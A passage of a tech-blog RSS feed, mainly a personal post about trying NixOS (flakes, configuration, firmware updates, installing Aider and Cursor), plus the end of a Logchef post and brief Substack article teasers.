<span class="giallo-l"><span>&lt;</span><span style="color: light-dark(#22863A, #8DDB8C);">input</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> ...</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> type</span><span>=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">password</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> value</span><span>=</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">password</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#6F42C1, #6CB6FF);"> ...</span><span>/&gt;</span></span></code></pre></li>
</ol>
<h2 id="what-s-next">What’s Next?<a class="zola-anchor" href="#what-s-next" aria-label="Anchor link for: what-s-next">#</a></h2>
<p>Logchef is already being used internally, but the journey towards a full v1.0 release continues this year. The <a rel="external" href="https://github.com/users/mr-karan/projects/2">roadmap</a> includes exciting additions like:</p>
<ul>
<li>Alerting: Trigger notifications based on query results.</li>
<li>Live Tail Logs: Stream logs in real-time.</li>
<li>Enhanced Dashboarding: More powerful visualization capabilities.</li>
</ul>
<p>Logchef is open source (AGPLv3), and community involvement is welcomed. You can check out the <a rel="external" href="https://demo.logchef.app/">Demo</a> or view the code on <a rel="external" href="https://github.com/mr-karan/logchef">GitHub</a>.</p>
<p>If you have more ideas or features you’d like to see, please reach out on <a rel="external" href="https://github.com/mr-karan/logchef/issues">GitHub</a> or <a href="https://mrkaran.dev/contact/">email me</a>! I’m always open to suggestions and feedback.</p>
<p>Honestly, building Logchef has been incredibly rewarding. It started as a way to fix something that bugged me (and others!), and seeing it turn into a tool I’m genuinely excited about feels great.</p>
<p>I couldn’t have done it alone, though. I’m really grateful to my friends and colleagues who jumped in with feedback along the way. Huge thanks to <a rel="external" href="https://nadh.in/">Kailash</a> for the constant support and encouragement, and to <a rel="external" href="https://vivekr.dev/">Vivek</a>, <a rel="external" href="https://sarat.dev/">Sarat</a>, and <a rel="external" href="https://github.com/rhnvrm/">Rohan</a> for testing the early builds and offering great suggestions.</p>
<p>Finally, a big thank you to my wife, who patiently endured my late-night coding sessions. Her support means the world to me &lt;3</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Inside the Machine: A Look at Motorcycle Engines]]></title>
            <link>https://workdone0.substack.com/p/motorcycle-engines</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/motorcycle-engines</guid>
            <pubDate>Sun, 27 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Peek under the hood as we explore how motorcycle engines work, what makes them tick, and why their engineering is so thrilling — from cylinders to spark plugs.]]></description>
            <content:encoded><![CDATA[Peek under the hood as we explore how motorcycle engines work, what makes them tick, and why their engineering is so thrilling &#8212; from cylinders to spark plugs.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[The Cost of Lies]]></title>
            <link>https://workdone0.substack.com/p/cost-of-lies</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/cost-of-lies</guid>
            <pubDate>Wed, 23 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Every lie we tell ourselves—about our history, our neighbours, our ideals—demands a hidden tribute. This essay unpacks the stakes of self-deception in politics, society, and memory.]]></description>
            <content:encoded><![CDATA[Every lie we tell ourselves&#8212;about our history, our neighbours, our ideals&#8212;demands a hidden tribute. This essay unpacks the stakes of self-deception in politics, society, and memory.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[You, Still]]></title>
            <link>https://workdone0.substack.com/p/feynman-letter</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/feynman-letter</guid>
            <pubDate>Tue, 22 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A moving look at Richard Feynman’s letter to his late wife, revealing how love can persist in absence — raw, quiet, and deeply true.]]></description>
            <content:encoded><![CDATA[A moving look at Richard Feynman&#8217;s letter to his late wife, revealing how love can persist in absence &#8212; raw, quiet, and deeply true.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[Getting Started with Deep Learning: A Hands-On Introduction]]></title>
            <link>https://workdone0.substack.com/p/deep-learning-intro</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/deep-learning-intro</guid>
            <pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how to build a working deep learning image classifier in just a few lines of code — and peek behind the scenes to understand what really happens under the hood.]]></description>
            <content:encoded><![CDATA[Learn how to build a working deep learning image classifier in just a few lines of code &#8212; and peek behind the scenes to understand what really happens under the hood.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[Keeping it Old-Tool: REPL habits of a grug-brained Clojure programmer]]></title>
            <link>https://www.evalapply.org/posts/demo-clojure-workflow-scicloj/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/demo-clojure-workflow-scicloj/index.html</guid>
            <pubDate>Fri, 28 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Is demo of Grug Clojure code vibe. He no catch onto cloud LLM magics for some reason. Still prefer program with only brain-muscles. Prefer use Grug language standard library and standard dev tools. Prefer make and use all byte on local disk. Maybe luddite, maybe obsolete. Grug no mind. Fine with how he code. Besides, Grug like muscles. Hope maybe you see tip, trick, tactic to steal. Take what can use, no take what no can use.]]></description>
            <content:encoded><![CDATA[Is demo of Grug Clojure code vibe. He no catch onto cloud LLM magics for some reason. Still prefer program with only brain-muscles. Prefer use Grug language standard library and standard dev tools. Prefer make and use all byte on local disk. Maybe luddite, maybe obsolete. Grug no mind. Fine with how he code. Besides, Grug like muscles. Hope maybe you see tip, trick, tactic to steal. Take what can use, no take what no can use.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>meta</category>
            <category>riff</category>
            <category>howto</category>
            <category>whyto</category>
            <category>clojure</category>
            <category>tools_for_thought</category>
            <category>programming</category>
            <category>ai</category>
            <category>intelligence_augmentation</category>
        </item>
        <item>
            <title><![CDATA[Trying out NixOS]]></title>
            <link>https://mrkaran.dev/posts/trying-nixos/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/trying-nixos/</guid>
            <pubDate>Sun, 23 Mar 2025 04:45:00 GMT</pubDate>
            <description><![CDATA[I’ve been introduced to Nix by my colleagues at work. Being a Linux user for over a decade and a serial distro hopper, I was curious to learn more about it. I’d seen Nix mentioned before, but the comments about its steep learning curve made me wonder if the effort was worth it. I decided to give it a try by reading this excellent beginner’s guide however got bored very quickly and decided to “learn on the fly”. I spun up a VM in my homelab to install NixOS using their official GUI installer image.
Installation & First Impressions#
The installation was as straightforward as any other Linux distro. NixOS is a declarative operating system that leverages the Nix functional package manager and a rich ecosystem of Nix packages. The flexibility is mind-blowing: you can configure everything—from user accounts and SSH keys to $SHELL config and plugins entirely through code.
Once installed, the first place you’d want to poke around is the /etc/nixos directory, which contains two essential configuration files:
hardware-configuration.nix: Generated during installation (or regenerated with commands like nixos-generate-config), it has hardware-specific details such as filesystem mount points, disk configurations, kernel modules etc. See an example file here.
configuration.nix: This is the most important file you want to start editing with. Here you define system-wide settings like timezone, locale, user accounts, and networking. Everything is declared in one place, making your system’s state reproducible.
First Configuration Changes#
When I opened the terminal, I immediately noticed that vim wasn’t installed. So, I updated my configuration.nix to include the packages I needed:
environment.systemPackages = with pkgs; [
  git
  vim
];
After saving, I ran:
sudo nixos-rebuild switch
This rebuilds the system using the new declarative configuration.
Version Control & Flakes#
Next, I wanted to set up version control for my Nix configurations. The key takeaway is that while the system’s state is revertable in NixOS, your personal data (which includes configuration.nix) isn’t automatically backed up. You must manage your own version history for your Nix configs. Since I was tweaking with no knowledge of Nix, having a version history was crucial.
I moved my /etc/nixos configs to ~/Code/nixos-configs and initialized a Git repository:
# Create repo in home directory (better than root-owned /etc/nixos)
mkdir ~/nixos-config
cp -r /etc/nixos/* ~/nixos-config/
cd ~/nixos-config

# Initialize Git
git init
git add .
git commit -m "Initial NixOS configuration"

# Add GitHub remote
git remote add origin https://github.com/username/nixos-config.git
git push -u origin main
Here’s how flake.nix looks:
{
  description = "NixOS configuration for Karan's homelab, servers, and personal dev machines";

  inputs = {
    nixpkgs.url = "github:nixos/nixpkgs/nixos-unstable";
    
    # Add agenix as an input
    agenix = {
      url = "github:ryantm/agenix";
      inputs.nixpkgs.follows = "nixpkgs";
    };
    # Optionally add other inputs like home-manager
    # home-manager = {
    #   url = "github:nix-community/home-manager/release-24.11";
    #   inputs.nixpkgs.follows = "nixpkgs";
    # };
  };

  outputs = { self, agenix, nixpkgs, ... }@inputs: {
    # Make agenix available as a package
    packages.x86_64-linux.agenix = agenix.packages.x86_64-linux.default;
    
    nixosConfigurations.work = nixpkgs.lib.nixosSystem {
      system = "x86_64-linux";
      modules = [
        ./configuration.nix
        agenix.nixosModules.default  # Add agenix module
      ];
    };
  };
}
A Note on Flakes#
Flakes are an experimental (although widely adopted in the community) feature in Nix that bring reproducibility, composability, and a standardized structure to your configurations and package definitions. They allow you to declare all inputs (like nixpkgs, home-manager, or other repositories) and outputs (such as system configurations, packages, or development shells) in a single file. Flakes also create a lock file (flake.lock) that pins your dependencies to specific revisions, ensuring that your builds remain reproducible over time.
I learned the hard way that—even for local configurations you must commit your files. Otherwise, you may see errors like:
path '/nix/store/...source/flake.nix' does not exist
Even if you’re using local paths and have no intention to push to git, you still need git init && git add for flakes to work.
From whatever google-fu I did, it seems this requirement is to ensure that flakes can reliably reference the exact content in your configuration.
I am sure there might be good reasons for it (as I said before, I’ve skipped RTFMing altogether ^_^), but atleast the errors can be more verbose/helpful.
And why I skipped docs: Remember, we’re on a mission to get things up and running with Nix and then later spend time about reading their internals if it actually proves to be a valuable experiment.
Switching Channels#
While installing packages, I noticed some packages were quite outdated. That’s when I learned about NixOS channels. Think of channels as analogous to LTS releases. For faster updates, you can switch to the unstable channel. Although the name sounds intimidating, it simply means you’ll receive more frequent package updates.
To do this, you can edit your flake.nix and switch the URL to an unstable channel:
  inputs = {
    - nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.11"; # Stable channel
    + nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable"; # Unstable channel
  };
Firmware Updates#
After setting up packages, it was time to configure firmware updates using fwupd—essential for keeping your hardware up to date.
I asked Claude to help me for a quick setup. Here’s what I did:
{ config, pkgs, ... }:

{
  services.fwupd.enable = true;
}
Then run a rebuild:
sudo nixos-rebuild switch
Once enabled, you can use the fwupdmgr command-line tool to manage firmware updates:
# Refresh metadata and check for available updates
fwupdmgr refresh
fwupdmgr get-updates
# Install available firmware updates
fwupdmgr update
Fine Tuning#
I also tweaked some settings for the Nix package manager to optimize builds, caching, and overall performance. Here’s a snippet from my configuration:
  # Nix package manager optimizations
  nix = {
    settings = {
      # Optimize store to remove duplicate files
      auto-optimise-store = true;

      # Allow building multiple derivations in parallel
      max-jobs = "auto";

      # Number of parallel build tasks per job
      cores = 0; # 0 means use all available cores

      # Use the binary cache aggressively
      substituters = [
        "<https://cache.nixos.org>"
        "<https://nix-community.cachix.org>"
        "<https://nixpkgs-wayland.cachix.org>"
      ];

      # Optimize fetching from GitHub
      connect-timeout = 5;

      # Prevent unneeded rebuilds
      commit-lockfile-summary = "Update flake.lock";
    };

    # Garbage collection settings
    gc = {
      automatic = true;
      dates = "weekly";
      options = "--delete-older-than 30d";
    };

    # Optimize builds using different build cores
    buildCores = 0; # 0 means use all available cores

    # Enable flakes and modern Nix command features
    extraOptions = ''
      experimental-features = nix-command flakes
      warn-dirty = false
      keep-going = true
      log-lines = 20
    '';
  };
Escape Hatches#
So far things seems all rosy. Within just spending a couple of minutes - I had a perfectly working machine for myself - and the best part - all reproducible with a single command. I was starting to see why people who use NixOS preach about it so much.
However, not everything is smooth when you deviate from the happy path. For instance, I use Aider for LLM assisted programming, but the version on Nixpkgs was about three minor versions behind. Typically for any other software, I wouldn’t have cared so much - however with these LLM tools, a lot changes rapidly and I didn’t want to stay behind. Besides, it seemed like a fun exercise in getting my hands dirty by installing a Python package on NixOS which turned out to be quite tricky because Nix is absurdly obsessive about fully isolated builds.
Here’s an example flake that I used for attempting to install Aider with uv  in a dev shell (which didn’t work btw):
{
  description = "Aider development environment";

  inputs = {
    nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
    flake-utils.url = "github:numtide/flake-utils";
  };

  outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = nixpkgs.legacyPackages.${system};
      in
      {
        devShell = pkgs.mkShell {
          buildInputs = with pkgs; [
            python312
            uv
          ];
          shellHook = ''
            export PATH="$HOME/.local/bin:$PATH"
          '';
        };
      }
    );
}
Entering the dev shell with nix develop and installing Aider with uv:
uv tool install --force --python python3.12 aider-chat@latest
However, I ran into this error:
"/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/litellm/litellm_core_uti
ls/llm_cost_calc/utils.py", line 9, in <module>
    from litellm.utils import get_model_info
  File
"/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/litellm/utils.py", line
53, in <module>
    from tokenizers import Tokenizer
  File
"/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/tokenizers/__init__.py",
line 78, in <module>
    from .tokenizers import (
ImportError: libstdc++.so.6: cannot open shared object file: No such file or directory
The error indicated that Aider was missing a required dependency libstdc++.so.6 which is a part of the C++ standard library needed by the tokenizers package. To fix this, I added stdenv.cc.cc.lib (and even gcc to be on the safer side) to my buildInputs. This is because while uv installs Python packages, it doesn’t handle system-level dependencies. In a Nix environment, every dependency, including system libraries, must be explicitly specified.
Frankly, Python’s packaging ecosystem is still a mess. Although tools like uv help, achieving a completely isolated build, especially when shared libraries are involved is challenging. I wish the Python community would put more effort into resolving these issues.
While I was able to make aider work by explicitly adding all the dependencies, I faced another outdate package: code-cursor. Since this is a full blown electron app, I didn’t wish to package this myself.
After some frustration, I tried using Distrobox as recommended by a colleague. Distrobox lets you run containers that feel almost like a native OS by managing user IDs, host mounts, network interfaces, and more. I used an Arch Linux image, installed cursor-bin from the AUR, and everything worked fine. Well mostly:
Fonts were missing. So, if I want to use custom fonts in my IDE - I need to have them installed in the container as well.
Since my fish shell config had export EDITOR=nvim, I had to install neovim in the container as well, otherwise, I’d get an error when trying to git commit etc. There’s an option to customise the shell in distrobox, but for whatever reason (that I didn’t want to debug), it didn’t work for me.
Yet, something still felt off. The whole point of using NixOS is to achieve a fully declarative and reproducible setup. Resorting to an escape hatch like Distrobox undermines that goal. So I was very conflicted about this. I’m sure there’s a better way to handle these situations, and I should probably read the docs to find out.
Final Thoughts#
I’m definitely sold on running NixOS, especially when managing multiple systems. With a single declarative file (configuration.nix), duplicating your setup across machines becomes effortless. No more “documenting” (or rather forgetting to document and keeping it updated)- as the config is the single source of truth.
Fun fact: I even messed up my NixOS build by misconfiguring the hardware-configuration.nix, and my system became unusable even after a reboot, it couldn’t mount the filesystem on the correct device. In other distros, that would have sent me into panic mode, but with NixOS, all I had to do was revert to the previous working state, and everything was fine. That was so cool!
I’m definitely considering moving my homelab to NixOS in the coming few days because I honestly see the value for a server setup. I often set up my personal server and then forget everything I’ve done and I’m always scared of touching or creating a new server from scratch. I even created a small shell script installer to help me for getting a base system ready. But like this shell script or even tools such as Ansible - they are all idempotent in nature. However in Nix, if I remove a certain piece from the configuration, there isn’t a trace of it left on the system. That makes it truly declarative and reproducible - unlike Ansible where you can still have some parts of the old setup.
However, for my primary machine at work, I’ll wait on the sidelines until the packages I depend on resolve their dependency issues and I get a chance to read up more on the escape hatches I tried to see if there’s a more streamlined way of doing things. I might be missing a lot of fundamental details since I skipped the docs entirely to get my hands dirty. But now that I see the value of a declarative system and especially how easy it is to roll back the machine to a previously known good state, I’m motivated to read up more on this and might post an update to this blog.
Fin!]]></description>
            <content:encoded><![CDATA[<p>I’ve been introduced to Nix by my colleagues at work. Being a Linux user for over a decade and a serial distro hopper, I was curious to learn more about it. I’d seen Nix mentioned before, but the comments about its steep learning curve made me wonder if the effort was worth it. I decided to give it a try by reading this excellent <a rel="external" href="https://nixos-and-flakes.thiscute.world">beginner’s guide</a> however got bored very quickly and decided to “learn on the fly”. I spun up a VM in my homelab to install NixOS using their <a rel="external" href="https://nixos.org/download/">official GUI installer image</a>.</p>
<h2 id="installation-first-impressions">Installation &amp; First Impressions<a class="zola-anchor" href="#installation-first-impressions" aria-label="Anchor link for: installation-first-impressions">#</a></h2>
<p>The installation was as straightforward as any other Linux distro. NixOS is a declarative operating system that leverages the Nix functional package manager and a rich ecosystem of Nix packages. The flexibility is mind-blowing: you can configure everything—from user accounts and SSH keys to <code>$SHELL</code> config and plugins entirely through code.</p>
<p>Once installed, the first place you’d want to poke around is the <code>/etc/nixos</code> directory, which contains two essential configuration files:</p>
<ul>
<li>
<p><code>hardware-configuration.nix</code>: Generated during installation (or regenerated with commands like <code>nixos-generate-config</code>), it has hardware-specific details such as filesystem mount points, disk configurations, kernel modules etc. See an example file <a rel="external" href="https://github.com/fooblahblah/nixos/blob/master/hardware-configuration.nix">here</a>.</p>
</li>
<li>
<p><code>configuration.nix</code>: This is <em>the most</em> important file you want to start editing with. Here you define system-wide settings like timezone, locale, user accounts, and networking. Everything is declared in one place, making your system’s state reproducible.</p>
</li>
</ul>
<h3 id="first-configuration-changes">First Configuration Changes<a class="zola-anchor" href="#first-configuration-changes" aria-label="Anchor link for: first-configuration-changes">#</a></h3>
<p>When I opened the terminal, I immediately noticed that <code>vim</code> wasn’t installed. So, I updated my <code>configuration.nix</code> to include the packages I needed:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="nix"><span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">environment</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">systemPackages</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;"> =</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;"> with</span><span style="color: light-dark(#E36209, #F69D50);"> pkgs</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;">;</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">  git</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">  vim</span></span>
<span class="giallo-l"><span>]</span><span style="color: light-dark(#B31D28, #FF938A);font-style: italic;">;</span></span></code></pre>
<p>After saving, I ran:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> nixos-rebuild</span><span style="color: light-dark(#032F62, #96D0FF);"> switch</span></span></code></pre>
<p>This rebuilds the system using the new declarative configuration.</p>
<h2 id="version-control-flakes">Version Control &amp; Flakes<a class="zola-anchor" href="#version-control-flakes" aria-label="Anchor link for: version-control-flakes">#</a></h2>
<p>Next, I wanted to set up version control for my Nix configurations. The key takeaway is that while the system’s state is revertable in NixOS, your personal data (which includes <code>configuration.nix</code>) isn’t automatically backed up. You must manage your own version history for your Nix configs. Since I was tweaking with no knowledge of Nix, having a version history was crucial.</p>
<p>I moved my <code>/etc/nixos</code> configs to <code>~/Code/nixos-configs</code> and initialized a Git repository:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Create repo in home directory (better than root-owned /etc/nixos)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">mkdir</span><span style="color: light-dark(#032F62, #96D0FF);"> ~/nixos-config</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">cp</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">r</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/nixos/</span><span style="color: light-dark(#005CC5, #6CB6FF);">*</span><span style="color: light-dark(#032F62, #96D0FF);"> ~/nixos-config/</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">cd</span><span style="color: light-dark(#032F62, #96D0FF);"> ~/nixos-config</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Initialize Git</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">git</span><span style="color: light-dark(#032F62, #96D0FF);"> init</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">git</span><span style="color: light-dark(#032F62, #96D0FF);"> add</span><span style="color: light-dark(#032F62, #96D0FF);"> .</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">git</span><span style="color: light-dark(#032F62, #96D0FF);"> commit</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Initial NixOS configuration</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Add GitHub remote</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">git</span><span style="color: light-dark(#032F62, #96D0FF);"> remote</span><span style="color: light-dark(#032F62, #96D0FF);"> add</span><span style="color: light-dark(#032F62, #96D0FF);"> origin</span><span style="color: light-dark(#032F62, #96D0FF);"> https://github.com/username/nixos-config.git</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">git</span><span style="color: light-dark(#032F62, #96D0FF);"> push</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);"> origin</span><span style="color: light-dark(#032F62, #96D0FF);"> main</span></span></code></pre>
<p>Here’s how <code>flake.nix</code> looks:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="nix"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  description</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">NixOS configuration for Karan&#39;s homelab, servers, and personal dev machines</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  inputs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    nixpkgs</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:nixos/nixpkgs/nixos-unstable</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span>    </span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Add agenix as an input</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    agenix</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">      url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:ryantm/agenix</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">      inputs</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">nixpkgs</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">follows</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nixpkgs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span>    }</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Optionally add other inputs like home-manager</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> home-manager = {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);">   url = &quot;github:nix-community/home-manager/release-24.11&quot;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);">   inputs.nixpkgs.follows = &quot;nixpkgs&quot;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> };</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  outputs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span> self</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span> agenix</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span> nixpkgs</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span style="color: light-dark(#D73A49, #F47067);"> ...</span><span> }</span><span>@</span><span>inputs</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Make agenix available as a package</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    packages</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">x86_64-linux</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">agenix</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#E36209, #F69D50);"> agenix</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">packages</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">x86_64-linux</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">default</span><span>;</span></span>
<span class="giallo-l"><span>    </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    nixosConfigurations</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">work</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#E36209, #F69D50);"> nixpkgs</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">lib</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">nixosSystem</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">      system</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">x86_64-linux</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">      modules</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        ./configuration.nix</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">        agenix</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">nixosModules</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">default</span><span style="color: light-dark(#6A737D, #768390);">  #</span><span style="color: light-dark(#6A737D, #768390);"> Add agenix module</span></span>
<span class="giallo-l"><span>      ]</span><span>;</span></span>
<span class="giallo-l"><span>    }</span><span>;</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="a-note-on-flakes">A Note on Flakes<a class="zola-anchor" href="#a-note-on-flakes" aria-label="Anchor link for: a-note-on-flakes">#</a></h3>
<p>Flakes are an experimental (although widely adopted in the community) feature in Nix that bring reproducibility, composability, and a standardized structure to your configurations and package definitions. They allow you to declare all inputs (like nixpkgs, home-manager, or other repositories) and outputs (such as system configurations, packages, or development shells) in a single file. Flakes also create a lock file (<code>flake.lock</code>) that pins your dependencies to specific revisions, ensuring that your builds remain reproducible over time.</p>
<p>I learned the hard way that—even for local configurations you must commit your files. Otherwise, you may see errors like:</p>
